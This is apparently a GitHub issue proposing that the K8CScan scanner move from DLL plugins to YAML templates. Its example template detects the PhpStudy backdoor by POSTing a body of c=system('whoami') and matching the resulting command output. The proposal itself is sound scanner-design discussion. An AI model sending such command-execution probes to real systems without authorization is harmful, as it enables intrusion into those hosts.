Skip to content

建议:将DLL插件替换为YAML定义格式 #13

Description

@hmkklol

你好 @k8gege

K8CScan目前使用DLL作为插件格式,这带来了一些问题:

当前问题:

  • Windows专属,Linux/Mac不支持
  • 需要编译环境,社区贡献门槛高
  • DLL加载有安全风险

建议:YAML插件定义

格式:

name: "PhpStudy后门检测"
version: "1.0"
author: "k8gege"
protocol: http
port: 80
payload:
  method: POST
  path: "/index.php"
  headers:
    Content-Type: application/x-www-form-urlencoded
  body: "c=system('whoami');"
match:
  - type: regex
    pattern: "nt authority\\system"
    part: body
  - type: status
    status: 200
severity: critical

好处:

  • 跨平台(纯文本,无需编译)
  • 社区贡献门槛低(会写YAML就能贡献)
  • 更安全(不需要加载动态库)
  • 版本控制友好

这与Nuclei/afrog的PoC格式兼容。

[English Translation / 英文摘要]

Hi maintainers, this issue is a feature / architecture / security suggestion for 06_K8CScan.
The Chinese text above contains the detailed proposal with technical context and implementation ideas.
In summary: we are requesting the enhancement described above and would be happy to provide PRs or further discussion in either Chinese or English.
Thank you for the excellent work on this project!

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions